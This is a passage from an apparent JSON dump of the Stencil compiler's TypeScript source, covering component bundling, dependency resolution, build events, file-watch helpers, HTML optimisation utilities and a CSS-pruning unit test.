newBundles;\n}\n\n/**\n * Computes a 'score' between two arrays, that is defined as the number of times that the value at a given index is the\n * same in both arrays divided by the number of times the value in either array is high at the given index.\n * @param m0 the first array to calculate sameness with\n * @param m1 the second array to calculate sameness with\n * @returns the calculated score\n */\nfunction computeScore(m0: Uint8Array, m1: Uint8Array): number {\n  let total = 0;\n  let match = 0;\n  for (let i = 0; i < m0.length; i++) {\n    if (m0[i] === 1 || m1[i] === 1) {\n      total++;\n      if (m0[i] === m1[i]) {\n        match++;\n      }\n    }\n  }\n  return match / total;\n}\n"
  },
  {
    "path": "src/compiler/entries/component-graph.ts",
    "content": "import type * as d from '../../declarations';\nimport { getScopeId } from '../style/scope-css';\n\nexport const generateModuleGraph = (cmps: d.ComponentCompilerMeta[], bundleModules: ReadonlyArray<d.BundleModule>) => {\n  const cmpMap = new Map<string, string[]>();\n  cmps.forEach((cmp) => {\n    const bundle = bundleModules.find((b) => b.cmps.includes(cmp));\n    if (bundle) {\n      // add default case for no mode\n      cmpMap.set(getScopeId(cmp.tagName), bundle.rollupResult.imports);\n    }\n  });\n\n  return cmpMap;\n};\n"
  },
  {
    "path": "src/compiler/entries/default-bundles.ts",
    "content": "import { buildError, buildWarn, flatOne, unique, validateComponentTag } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getUsedComponents } from '../html/used-components';\n\n/**\n * Retrieve the component bundle groupings to be used when generating output\n * @param config the Stencil configuration used for the build\n * @param buildCtx the current build context\n * @param cmps the components that have been registered & defined for the current build\n * @returns the component bundling data\n */\nexport function getDefaultBundles(\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  cmps: d.ComponentCompilerMeta[],\n): readonly d.ComponentCompilerMeta[][] {\n  // get all of the user defined bundles in the Stencil config file\n  const userConfigEntryPoints = getUserConfigBundles(config, buildCtx, cmps);\n  if (userConfigEntryPoints.length > 0) {\n    // prefer user defined entry points over anything else Stencil may derive\n    return userConfigEntryPoints;\n  }\n\n  let entryPointsHints = config.entryComponentsHint;\n  if (!entryPointsHints && buildCtx.indexDoc) {\n    // attempt to scan an HTML file for known Stencil components\n    entryPointsHints = getUsedComponents(buildCtx.indexDoc, cmps);\n  }\n  if (!entryPointsHints) {\n    return [];\n  }\n\n  const mainBundle = unique([\n    ...entryPointsHints,\n    ...flatOne(entryPointsHints.map(resolveTag).map((cmp) => cmp.dependencies)),\n  ]).map(resolveTag);\n\n  function resolveTag(tag: string) {\n    return cmps.find((cmp) => cmp.tagName === tag);\n  }\n\n  return [mainBundle];\n}\n\n/**\n * Retrieve and validate the `bundles` field on a project's Stencil configuration file\n * @param config the configuration file with a `bundles` field to inspect\n * @param buildCtx the current build context\n * @param cmps the components that have been registered & defined for the current build\n * @returns a three dimensional array with the compiler metadata for each component used\n */\nexport function getUserConfigBundles(\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  cmps: d.ComponentCompilerMeta[],\n): readonly d.ComponentCompilerMeta[][] {\n  const definedTags = new Set<string>();\n  const entryTags = config.bundles.map((b: d.ConfigBundle) => {\n    return b.components\n      .map((tag: string) => {\n        const tagError = validateComponentTag(tag);\n        if (tagError) {\n          const err = buildError(buildCtx.diagnostics);\n          err.header = `Stencil Config`;\n          err.messageText = tagError;\n        }\n\n        const component = cmps.find((cmp) => cmp.tagName === tag);\n        if (!component) {\n          const warn = buildWarn(buildCtx.diagnostics);\n          warn.header = `Stencil Config`;\n          warn.messageText = `Component tag \"${tag}\" is defined in a bundle but no matching component was found within this app or its collections.`;\n        }\n\n        if (definedTags.has(tag)) {\n          const warn = buildWarn(buildCtx.diagnostics);\n          warn.header = `Stencil Config`;\n          warn.messageText = `Component tag \"${tag}\" has been defined multiple times in the \"bundles\" config.`;\n        }\n\n        definedTags.add(tag);\n        return component;\n      })\n      .sort();\n  });\n  return entryTags;\n}\n"
  },
  {
    "path": "src/compiler/entries/resolve-component-dependencies.ts",
    "content": "import { flatOne, unique } from '@utils';\n\nimport type * as d from '../../declarations';\n\n/**\n * For each entry in the provided collection of compiler metadata, generate several lists:\n * - dependencies that the component has (both directly and indirectly/transitively)\n * - dependencies that the component has (only directly)\n * - components that are dependent on a particular component (both directly and indirectly/transitively)\n * - components that are dependent on a particular component (only directly)\n *\n * This information is stored directly on each entry in the provided collection\n *\n * @param cmps the compiler metadata of the components whose dependencies and dependents ought to be calculated\n */\nexport function resolveComponentDependencies(cmps: d.ComponentCompilerMeta[]): void {\n  computeDependencies(cmps);\n  computeDependents(cmps);\n}\n\n/**\n * Compute the direct and transitive dependencies for each entry in the provided collection of component metadata.\n *\n * This function mutates each entry in the provided collection.\n *\n * @param cmps the metadata for the components whose dependencies ought to be calculated.\n */\nfunction computeDependencies(cmps: d.ComponentCompilerMeta[]): void {\n  const visited = new Set<d.ComponentCompilerMeta>();\n  cmps.forEach((cmp) => {\n    resolveTransitiveDependencies(cmp, cmps, visited);\n    cmp.dependencies = unique(cmp.dependencies).sort();\n  });\n}\n\n/**\n * Compute the direct and transitive dependents for each entry in the provided collection of component metadata.\n *\n * @param cmps the component metadata whose entries will have their dependents calculated\n */\nfunction computeDependents(cmps: d.ComponentCompilerMeta[]): void {\n  cmps.forEach((cmp) => {\n    resolveTransitiveDependents(cmp, cmps);\n  });\n}\n\n/**\n * Calculate the direct and transitive dependencies of a particular component.\n *\n * For example, given a component `foo-bar` whose `render` function references another web component `baz-buzz`:\n * ```tsx\n * // foo-bar.ts\n * render() {\n *  return <baz-buzz></baz-buzz>;\n * }\n * ```\n * where `baz-buzz` references `my-component`:\n * ```tsx\n * // baz-buzz.ts\n * render() {\n *  return <my-component></my-component>;\n * }\n * ```\n * this function will return ['baz-buzz', 'my-component'] when inspecting 'foo-bar', as 'baz-buzz' is directly used by\n * 'foo-bar', and 'my-component' is used by a component ('baz-buzz') that is being used by 'foo-bar'.\n *\n * This function mutates each entry in the provided collection.\n *\n * @param cmp the metadata for the component whose dependencies are being calculated\n * @param cmps the metadata for all components that participate in the current build\n * @param visited a collection of component metadata that has already been inspected\n * @returns a list of direct and transitive dependencies for the component being inspected\n */\nfunction resolveTransitiveDependencies(\n  cmp: d.ComponentCompilerMeta,\n  cmps: d.ComponentCompilerMeta[],\n  visited: Set<d.ComponentCompilerMeta>,\n): string[] {\n  if (visited.has(cmp)) {\n    // we've already inspected this component, return its dependency list\n    return cmp.dependencies;\n  }\n  // otherwise, add the component to our collection to mark it as 'visited'\n  visited.add(cmp);\n\n  // create a collection of dependencies of web components that the build knows about\n  const dependencies = unique(cmp.potentialCmpRefs.filter((tagName) => cmps.some((c) => c.tagName === tagName)));\n\n  cmp.dependencies = cmp.directDependencies = dependencies;\n\n  // get a list of dependencies of the current component's dependencies\n  const transitiveDeps = flatOne(\n    dependencies\n      .map((tagName) => cmps.find((c) => c.tagName === tagName))\n      .map((c) => resolveTransitiveDependencies(c, cmps, visited)),\n  );\n  return (cmp.dependencies = [...dependencies, ...transitiveDeps]);\n}\n\n/**\n * Generate and set the lists of components that are:\n * 1. directly _and_ indirectly (transitively) dependent on the component being inspected\n * 2. only directly dependent on the component being inspected\n *\n * This function assumes that the {@link d.ComponentCompilerMeta#dependencies} and\n * {@link d.ComponentCompilerMeta#directDependencies} properties are pre-populated for `cmp` and all entries in `cmps`.\n *\n * This function mutates the `dependents` and `directDependents` field on the provided `cmp` argument for both lists,\n * respectively.\n *\n * @param cmp the metadata for the component whose dependents are being calculated\n * @param cmps the metadata for all components that participate in the current build\n */\nfunction resolveTransitiveDependents(cmp: d.ComponentCompilerMeta, cmps: d.ComponentCompilerMeta[]): void {\n  // the dependents of a component are any other components that list it as a direct or transitive dependency\n  cmp.dependents = cmps\n    .filter((c) => c.dependencies.includes(cmp.tagName))\n    .map((c) => c.tagName)\n    .sort();\n\n  // the dependents of a component are any other components that list it as a direct dependency\n  cmp.directDependents = cmps\n    .filter((c) => c.directDependencies.includes(cmp.tagName))\n    .map((c) => c.tagName)\n    .sort();\n}\n"
  },
  {
    "path": "src/compiler/events.ts",
    "content": "import type * as d from '../declarations';\n\nexport const buildEvents = (): d.BuildEvents => {\n  const evCallbacks: EventCallback[] = [];\n\n  const off = (callback: any) => {\n    const index = evCallbacks.findIndex((ev) => ev.callback === callback);\n    if (index > -1) {\n      evCallbacks.splice(index, 1);\n      return true;\n    }\n    return false;\n  };\n\n  const on = (arg0: any, arg1?: any): d.BuildOnEventRemove => {\n    if (typeof arg0 === 'function') {\n      const eventName: null = null;\n      const callback = arg0;\n      evCallbacks.push({\n        eventName,\n        callback,\n      });\n      return () => off(callback);\n    } else if (typeof arg0 === 'string' && typeof arg1 === 'function') {\n      const eventName = arg0.toLowerCase().trim();\n      const callback = arg1;\n\n      evCallbacks.push({\n        eventName,\n        callback,\n      });\n\n      return () => off(callback);\n    }\n    return () => false;\n  };\n\n  const emit = (eventName: d.CompilerEventName, data: any) => {\n    const normalizedEventName = eventName.toLowerCase().trim();\n    const callbacks = evCallbacks.slice();\n\n    for (const ev of callbacks) {\n      if (ev.eventName == null) {\n        try {\n          ev.callback(eventName, data);\n        } catch (e) {\n          console.error(e);\n        }\n      } else if (ev.eventName === normalizedEventName) {\n        try {\n          ev.callback(data);\n        } catch (e) {\n          console.error(e);\n        }\n      }\n    }\n  };\n\n  const unsubscribeAll = () => {\n    evCallbacks.length = 0;\n  };\n\n  return {\n    emit,\n    on,\n    unsubscribeAll,\n  };\n};\n\ninterface EventCallback {\n  eventName: string | null;\n  callback: Function;\n}\n"
  },
  {
    "path": "src/compiler/fs-watch/fs-watch-rebuild.ts",
    "content": "import { isOutputTargetDocsJson, isOutputTargetDocsVscode, isOutputTargetStats, isString, unique } from '@utils';\nimport { basename } from 'path';\n\nimport type * as d from '../../declarations';\n\nexport const filesChanged = (buildCtx: d.BuildCtx) => {\n  // files changed include updated, added and deleted\n  return unique([...buildCtx.filesUpdated, ...buildCtx.filesAdded, ...buildCtx.filesDeleted]).sort();\n};\n\n/**\n * Unary helper function mapping string to string and wrapping `basename`,\n * which normally takes two string arguments. This means it cannot be passed\n * to `Array.prototype.map`, but this little helper can!\n *\n * @param filePath a filepath to check out\n * @returns the basename for that filepath\n */\nconst unaryBasename = (filePath: string): string => basename(filePath);\n\n/**\n * Get the file extension for a path\n *\n * @param filePath a path\n * @returns the file extension (well, characters after the last `'.'`) or\n * `null` if no extension exists.\n */\nconst getExt = (filePath: string): string | null => {\n  const fileParts = filePath.split('.');\n\n  return fileParts.length > 1 ? fileParts.pop()!.toLowerCase() : null;\n};\n\n/**\n * Script extensions which we want to be able to recognize\n */\nconst SCRIPT_EXT = ['ts', 'tsx', 'js', 'jsx'];\n\n/**\n * Helper to check if a filepath has a script extension\n *\n * @param filePath a file extension\n * @returns whether the filepath has a script extension or not\n */\nexport const hasScriptExt = (filePath: string): boolean => {\n  const ext = getExt(filePath);\n\n  return ext ? SCRIPT_EXT.includes(ext) : false;\n};\n\nconst STYLE_EXT = ['css', 'scss', 'sass', 'pcss', 'styl', 'stylus', 'less'];\n\n/**\n * Helper to check if a filepath has a style extension\n *\n * @param filePath a file extension to check\n * @returns whether the filepath has a style extension or not\n */\nexport const hasStyleExt = (filePath: string): boolean => {\n  const ext = getExt(filePath);\n\n  return ext ? STYLE_EXT.includes(ext) : false;\n};\n\n/**\n * Get all scripts from a build context that were added\n *\n * @param buildCtx the build context\n * @returns an array of filepaths that were added\n */\nexport const scriptsAdded = (buildCtx: d.BuildCtx): string[] =>\n  buildCtx.filesAdded.filter(hasScriptExt).map(unaryBasename);\n\n/**\n * Get all scripts from a build context that were deleted\n *\n * @param buildCtx the build context\n * @returns an array of deleted filepaths\n */\nexport const scriptsDeleted = (buildCtx: d.BuildCtx): string[] =>\n  buildCtx.filesDeleted.filter(hasScriptExt).map(unaryBasename);\n\n/**\n * Check whether a build has script changes\n *\n * @param buildCtx the build context\n * @returns whether or not there are script changes\n */\nexport const hasScriptChanges = (buildCtx: d.BuildCtx): boolean => buildCtx.filesChanged.some(hasScriptExt);\n\n/**\n * Check whether a build has style changes\n *\n * @param buildCtx the build context\n * @returns whether or not there are style changes\n */\nexport const hasStyleChanges = (buildCtx: d.BuildCtx): boolean => buildCtx.filesChanged.some(hasStyleExt);\n\n/**\n * Check whether a build has html changes\n *\n * @param config the current config\n * @param buildCtx the build context\n * @returns whether or not HTML files were changed\n */\nexport const hasHtmlChanges = (config: d.ValidatedConfig, buildCtx: d.BuildCtx): boolean => {\n  const anyHtmlChanged = buildCtx.filesChanged.some((f) => f.toLowerCase().endsWith('.html'));\n\n  if (anyHtmlChanged) {\n    // any *.html in any directory that changes counts and rebuilds\n    return true;\n  }\n\n  const srcIndexHtmlChanged = buildCtx.filesChanged.some((fileChanged) => {\n    // the src index index.html file has changed\n    // this file name could be something other than index.html\n    return fileChanged === config.srcIndexHtml;\n  });\n\n  return srcIndexHtmlChanged;\n};\n\nexport const updateCacheFromRebuild = (compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  buildCtx.filesChanged.forEach((filePath) => {\n    compilerCtx.fs.clearFileCache(filePath);\n  });\n\n  buildCtx.dirsAdded.forEach((dirAdded) => {\n    compilerCtx.fs.clearDirCache(dirAdded);\n  });\n\n  buildCtx.dirsDeleted.forEach((dirDeleted) => {\n    compilerCtx.fs.clearDirCache(dirDeleted);\n  });\n};\n\n/**\n * Checks if a path is ignored by the watch configuration\n *\n * @param config The validated config for the Stencil project\n * @param path The path to check\n * @returns Whether the path is ignored by the watch configuration\n */\nexport const isWatchIgnorePath = (config: d.ValidatedConfig, path: string) => {\n  if (!isString(path)) {\n    return false;\n  }\n\n  const isWatchIgnore = (config.watchIgnoredRegex as RegExp[]).some((reg) => reg.test(path));\n  if (isWatchIgnore) {\n    return true;\n  }\n  const outputTargets = config.outputTargets;\n  const ignoreFiles = [\n    ...outputTargets.filter(isOutputTargetDocsJson).map((o) => o.file),\n    ...outputTargets.filter(isOutputTargetDocsJson).map((o) => o.typesFile),\n    ...outputTargets.filter(isOutputTargetStats).map((o) => o.file),\n    ...outputTargets.filter(isOutputTargetDocsVscode).map((o) => o.file),\n  ];\n  if (ignoreFiles.includes(path)) {\n    return true;\n  }\n\n  return false;\n};\n"
  },
  {
    "path": "src/compiler/html/add-script-attr.ts",
    "content": "import { join } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getAbsoluteBuildDir } from './html-utils';\n\nexport const addScriptDataAttribute = (config: d.ValidatedConfig, doc: Document, outputTarget: d.OutputTargetWww) => {\n  const resourcesUrl = getAbsoluteBuildDir(outputTarget);\n  const entryEsmFilename = `${config.fsNamespace}.esm.js`;\n  const entryNoModuleFilename = `${config.fsNamespace}.js`;\n  const expectedEsmSrc = join(resourcesUrl, entryEsmFilename);\n  const expectedNoModuleSrc = join(resourcesUrl, entryNoModuleFilename);\n\n  const scripts = Array.from(doc.querySelectorAll('script'));\n  const scriptEsm = scripts.find((s) => s.getAttribute('src') === expectedEsmSrc);\n  const scriptNomodule = scripts.find((s) => s.getAttribute('src') === expectedNoModuleSrc);\n\n  if (scriptEsm) {\n    scriptEsm.setAttribute('data-stencil', '');\n  }\n  if (scriptNomodule) {\n    scriptNomodule.setAttribute('data-stencil', '');\n  }\n};\n"
  },
  {
    "path": "src/compiler/html/canonical-link.ts",
    "content": "export const updateCanonicalLink = (doc: Document, href?: string) => {\n  // https://webmasters.googleblog.com/2009/02/specify-your-canonical.html\n  // <link rel=\"canonical\" href=\"http://www.example.com/product.php?item=swedish-fish\" />\n  let canonicalLinkElm = doc.head.querySelector('link[rel=\"canonical\"]');\n\n  if (typeof href === 'string') {\n    // have a valid href to add\n    if (canonicalLinkElm == null) {\n      // don't have a <link> element yet, create one\n      canonicalLinkElm = doc.createElement('link');\n      canonicalLinkElm.setAttribute('rel', 'canonical');\n      doc.head.appendChild(canonicalLinkElm);\n    }\n\n    // set the href attribute\n    canonicalLinkElm.setAttribute('href', href);\n  } else {\n    // don't have a href\n    if (canonicalLinkElm != null) {\n      // but there is a canonical link in the head so let's remove it\n      const existingHref = canonicalLinkElm.getAttribute('href');\n      if (!existingHref) {\n        canonicalLinkElm.parentNode?.removeChild(canonicalLinkElm);\n      }\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/html/html-utils.ts",
    "content": "import { join, relative } from '@utils';\n\nimport type * as d from '../../declarations';\n\n/**\n * Get the path to the build directory where files written for the `www` output\n * target should be written.\n *\n * @param outputTarget a www output target of interest\n * @returns a path to the build directory for that output target\n */\nexport const getAbsoluteBuildDir = (outputTarget: d.OutputTargetWww): string => {\n  const relativeBuildDir = relative(outputTarget.dir, outputTarget.buildDir);\n  return join('/', relativeBuildDir) + '/';\n};\n"
  },
  {
    "path": "src/compiler/html/inject-module-preloads.ts",
    "content": "import { join } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getAbsoluteBuildDir } from './html-utils';\n\nexport const optimizeCriticalPath = (doc: Document, criticalBundlers: string[], outputTarget: d.OutputTargetWww) => {\n  const buildDir = getAbsoluteBuildDir(outputTarget);\n  const paths = criticalBundlers.map((path) => join(buildDir, path));\n  injectModulePreloads(doc, paths);\n};\n\nexport const injectModulePreloads = (doc: Document, paths: string[]) => {\n  const existingLinks = (Array.from(doc.querySelectorAll('link[rel=modulepreload]')) as HTMLLinkElement[]).map((link) =>\n    link.getAttribute('href'),\n  );\n\n  const addLinks = paths.filter((path) => !existingLinks.includes(path)).map((path) => createModulePreload(doc, path));\n\n  const head = doc.head;\n  const firstScript = head.querySelector('script');\n  if (firstScript) {\n    for (const link of addLinks) {\n      head.insertBefore(link, firstScript);\n    }\n  } else {\n    for (const link of addLinks) {\n      head.appendChild(link);\n    }\n  }\n};\n\nconst createModulePreload = (doc: Document, href: string) => {\n  const link = doc.createElement('link');\n  link.setAttribute('rel', 'modulepreload');\n  link.setAttribute('href', href);\n  return link;\n};\n"
  },
  {
    "path": "src/compiler/html/inject-sw-script.ts",
    "content": "import type * as d from '../../declarations';\nimport { getRegisterSW, UNREGISTER_SW } from '../service-worker/generate-sw';\nimport { generateServiceWorkerUrl } from '../service-worker/service-worker-util';\n\nexport const updateIndexHtmlServiceWorker = async (\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  doc: Document,\n  outputTarget: d.OutputTargetWww,\n) => {\n  const serviceWorker = outputTarget.serviceWorker;\n\n  if (serviceWorker !== false) {\n    if ((serviceWorker && serviceWorker.unregister) || (!serviceWorker && config.devMode)) {\n      injectUnregisterServiceWorker(doc);\n    } else if (serviceWorker) {\n      await injectRegisterServiceWorker(buildCtx, outputTarget, doc);\n    }\n  }\n};\n\nconst injectRegisterServiceWorker = async (buildCtx: d.BuildCtx, outputTarget: d.OutputTargetWww, doc: Document) => {\n  const swUrl = generateServiceWorkerUrl(outputTarget, outputTarget.serviceWorker as d.ServiceWorkerConfig);\n  const serviceWorker = getRegisterSwScript(doc, buildCtx, swUrl);\n  doc.body.appendChild(serviceWorker);\n};\n\nconst injectUnregisterServiceWorker = (doc: Document) => {\n  const script = doc.createElement('script');\n  script.innerHTML = UNREGISTER_SW;\n  doc.body.appendChild(script);\n};\n\nconst getRegisterSwScript = (doc: Document, buildCtx: d.BuildCtx, swUrl: string) => {\n  const script = doc.createElement('script');\n  script.setAttribute('data-build', `${buildCtx.timestamp}`);\n  script.innerHTML = getRegisterSW(swUrl);\n  return script;\n};\n"
  },
  {
    "path": "src/compiler/html/inline-esm-import.ts",
    "content": "import { isString, join } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { generateHashedCopy } from '../output-targets/copy/hashed-copy';\nimport { getAbsoluteBuildDir } from './html-utils';\nimport { injectModulePreloads } from './inject-module-preloads';\n\n/**\n * Attempt to optimize an ESM import of the main entry point for a `www` build\n * by inlining the imported script within the supplied HTML document, if\n * possible.\n *\n * This will only do this for a `<script>` with type `\"module\"` where the\n * `\"src\"` attr matches the main entry point for the build. If such a\n * `<script>` is found the imported file will be resolved and edited in order\n * to allow it to be properly inlined. If there's no such `<script>` _or_ if\n * the file referenced by the `<script>` can't be resolved then no action\n * will be taken.\n *\n * @param config the current user-supplied Stencil config\n * @param compilerCtx a compiler context\n * @param doc the document in which to search for scripts to inline\n * @param outputTarget the output target for the www build we're optimizing\n * @returns whether or not a script was found and inlined\n */\nexport const optimizeEsmImport = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  doc: Document,\n  outputTarget: d.OutputTargetWww,\n): Promise<boolean> => {\n  const resourcesUrl = getAbsoluteBuildDir(outputTarget);\n  const entryFilename = `${config.fsNamespace}.esm.js`;\n  const expectedSrc = join(resourcesUrl, entryFilename);\n\n  const script = Array.from(doc.querySelectorAll('script')).find(\n    (s) =>\n      s.getAttribute('type') === 'module' && !s.hasAttribute('crossorigin') && s.getAttribute('src') === expectedSrc,\n  );\n\n  if (!script) {\n    return false;\n  }\n\n  script.setAttribute('data-resources-url', resourcesUrl);\n  script.setAttribute('data-stencil-namespace', config.fsNamespace);\n\n  const entryPath = join(outputTarget.buildDir, entryFilename);\n  const content = await compilerCtx.fs.readFile(entryPath);\n\n  if (isString(content)) {\n    // If the script is too big, instead of inlining, we hash the file and change\n    // the <script> to the new location\n    if (config.allowInlineScripts && content.length < MAX_JS_INLINE_SIZE) {\n      // Let's try to inline, we have to fix all the relative paths of the imports\n      const results = updateImportPaths(content, resourcesUrl);\n      if (results.orgImportPaths.length > 0) {\n        // insert inline script\n        script.removeAttribute('src');\n        // the `'\\n'` is added here to avoid possible issues with HTML parsers\n        // since the inlined JS will often end in a sourcemap-related `//`\n        // comment a newline ensures that in the rendered HTML string the\n        // closing script tag will be on its own line\n        script.innerHTML = results.code + '\\n';\n      }\n    } else {\n      const hashedFile = await generateHashedCopy(config, compilerCtx, entryPath);\n      if (hashedFile) {\n        const hashedPath = join(resourcesUrl, hashedFile);\n        script.setAttribute('src', hashedPath);\n        injectModulePreloads(doc, [hashedPath]);\n      }\n    }\n    return true;\n  }\n  return false;\n};\n\n/**\n * Update all relative module specifiers in some JS code to instead be nested\n * inside of a supplied directory, transforming e.g. all imports of the form\n * `'./foo.js'` to `'/build/foo.js'`.\n *\n * @param code the code to transform\n * @param newDir the directory which should be prepended to all module\n * specifiers in the code\n * @returns a manifest containing transformed code and a list of transformed\n * module specifiers\n */\nexport const updateImportPaths = (code: string, newDir: string) => {\n  const orgModulePaths = readModulePaths(code);\n\n  for (const orgImportPath of orgModulePaths) {\n    const newPath = updateImportPathDir(orgImportPath, newDir);\n    if (newPath) {\n      code = code.replace(new RegExp(`\"${orgImportPath}\"`, 'g'), `\"${newPath}\"`);\n      code = code.replace(new RegExp(`'${orgImportPath}'`, 'g'), `'${newPath}'`);\n    }\n  }\n\n  return {\n    code,\n    orgImportPaths: orgModulePaths,\n  };\n};\n\n/**\n * Update the directory of an ESM module specifier to include a new directory,\n * e.g. by transforming `./foo.js` to `/build/foo.js`.\n *\n * @param orgImportPath the original path as found in the un-transformed source\n * file\n * @param newDir the new directory path which should be prepended to the\n * original path\n * @returns an updated path or `null`\n */\nconst updateImportPathDir = (orgImportPath: string, newDir: string): string | null => {\n  if (orgImportPath.startsWith('./') && (orgImportPath.endsWith('.js') || orgImportPath.endsWith('.mjs'))) {\n    return newDir + orgImportPath.substring(2);\n  }\n  return null;\n};\n\n/**\n * Gather all module specifiers used in the `import` and `export` declarations\n * in a bit of JS code\n *\n * @param code the code to transform\n * @returns a list of the module specifiers present in the code\n */\nfunction readModulePaths(code: string): string[] {\n  const tsSourceFile = ts.createSourceFile('module.ts', code, ts.ScriptTarget.Latest);\n  const orgModulePaths: string[] = [];\n\n  for (const stmt of tsSourceFile.statements) {\n    if (\n      isImportOrExportDecl(stmt) &&\n      stmt.moduleSpecifier != null &&\n      ts.isStringLiteral(stmt.moduleSpecifier) &&\n      stmt.moduleSpecifier.text\n    ) {\n      orgModulePaths.push(stmt.moduleSpecifier.text);\n    }\n  }\n  return orgModulePaths;\n}\n\n/**\n * Small type coercion / guard helper that returns whether or not a\n * {@link ts.Statement} is an import / export declaration\n *\n * @param stmt the statement of interest\n * @returns whether this is an import or export declaration or neither\n */\nfunction isImportOrExportDecl(stmt: ts.Statement): stmt is ts.ImportDeclaration | ts.ExportDeclaration {\n  return ts.isExportDeclaration(stmt) || ts.isImportDeclaration(stmt);\n}\n\n// https://twitter.com/addyosmani/status/1143938175926095872\nconst MAX_JS_INLINE_SIZE = 1 * 1024;\n"
  },
  {
    "path": "src/compiler/html/inline-style-sheets.ts",
    "content": "import { join } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const inlineStyleSheets = (\n  compilerCtx: d.CompilerCtx,\n  doc: Document,\n  maxSize: number,\n  outputTarget: d.OutputTargetWww,\n) => {\n  const globalLinks = Array.from(doc.querySelectorAll('link[rel=stylesheet]')) as HTMLLinkElement[];\n  return Promise.all(\n    globalLinks.map(async (link) => {\n      const href = link.getAttribute('href');\n      if (typeof href !== 'string' || !href.startsWith('/') || link.getAttribute('media') !== null) {\n        return;\n      }\n\n      try {\n        const fsPath = join(outputTarget.dir, href);\n        const styles = await compilerCtx.fs.readFile(fsPath);\n        if (styles.length > maxSize) {\n          return;\n        }\n\n        // insert inline <style>\n        const inlinedStyles = doc.createElement('style');\n        inlinedStyles.innerHTML = styles;\n        link.parentNode.insertBefore(inlinedStyles, link);\n        link.remove();\n      } catch (e) {}\n    }),\n  );\n};\n"
  },
  {
    "path": "src/compiler/html/relocate-meta-charset.ts",
    "content": "export const relocateMetaCharset = (doc: Document) => {\n  const head = doc.head;\n\n  let charsetElm = head.querySelector('meta[charset]');\n  if (charsetElm == null) {\n    // doesn't have <meta charset>, so create it\n    charsetElm = doc.createElement('meta');\n    charsetElm.setAttribute('charset', 'utf-8');\n  } else {\n    // take the current one out of its existing location\n    charsetElm.remove();\n  }\n\n  // ensure the <meta charset> is the first node in <head>\n  head.insertBefore(charsetElm, head.firstChild);\n};\n"
  },
  {
    "path": "src/compiler/html/remove-unused-styles.ts",
    "content": "import { catchError, hasError } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { parseCss } from '../style/css-parser/parse-css';\nimport { serializeCss } from '../style/css-parser/serialize-css';\nimport { getUsedSelectors, UsedSelectors } from '../style/css-parser/used-selectors';\n\n/**\n * Removes unused CSS styles from the document's style elements based on the selectors used in the document.\n * Primarily used during SSR / prerendering to optimize CSS delivery.\n *\n * @param doc The HTML document to process.\n * @param diagnostics An array to collect diagnostic messages.\n */\nexport const removeUnusedStyles = (doc: Document, diagnostics: d.Diagnostic[]) => {\n  try {\n    const styleElms = doc.head.querySelectorAll<HTMLStyleElement>(`style[data-styles]`);\n    const styleLen = styleElms.length;\n\n    if (styleLen > 0) {\n      // pick out all of the selectors that are actually\n      // being used in the html document\n      const usedSelectors = getUsedSelectors(doc.documentElement);\n\n      for (let i = 0; i < styleLen; i++) {\n        removeUnusedStyleText(usedSelectors, diagnostics, styleElms[i]);\n      }\n    }\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n};\n\nconst removeUnusedStyleText = (\n  usedSelectors: UsedSelectors,\n  diagnostics: d.Diagnostic[],\n  styleElm: HTMLStyleElement,\n) => {\n  try {\n    // parse the css from being applied to the document\n    const parseResults = parseCss(styleElm.innerHTML);\n\n    diagnostics.push(...parseResults.diagnostics);\n    if (hasError(diagnostics)) {\n      return;\n    }\n\n    try {\n      // convert the parsed css back into a string\n      // but only keeping what was found in our active selectors\n      styleElm.innerHTML = serializeCss(parseResults.stylesheet, {\n        usedSelectors,\n      });\n    } catch (e: any) {\n      diagnostics.push({\n        level: 'warn',\n        type: 'css',\n        header: 'CSS Stringify',\n        messageText: e,\n        lines: [],\n      });\n    }\n  } catch (e: any) {\n    diagnostics.push({\n      level: 'warn',\n      type: 'css',\n      header: 'CSS Parse',\n      messageText: e,\n      lines: [],\n    });\n  }\n};\n"
  },
  {
    "path": "src/compiler/html/test/remove-unused-styles.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockDocument } from '@stencil/core/testing';\n\nimport { removeUnusedStyles } from '../remove-unused-styles';\n\ndescribe('removeUnusedStyles', () => {\n  let results: d.HydrateResults;\n\n  beforeEach(() => {\n    results = {\n      diagnostics: [],\n    } as any;\n  });\n\n  it('should not remove used attr contains selectors', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            pre[class*=\"language-\"] { font: used; }\n          </style>\n        </head>\n        <body>\n          <pre class=\"language-tsx\">\n            <code class=\"language-tsx\">\n              Used\n            </code>\n          </pre>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, 'pre[class*=\"language-\"]');\n  });\n\n  it('should remove unused nested selectors', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            [dir=\"ltr\"] h1+h2 { font: used; }\n            [dir=\"ltr\"] h1+h3 { font: unused; }\n          </style>\n        </head>\n        <body>\n          <div dir=\"ltr\">\n            <h1>Used</h1>\n            <h2>Used</h2>\n          </div>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, '[dir=\"ltr\"] h1+h2');\n    expectNoSelector(css, '[dir=\"ltr\"] h1+h3');\n  });\n\n  it('should remove all unused nested selectors', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            div label { font: used; }\n            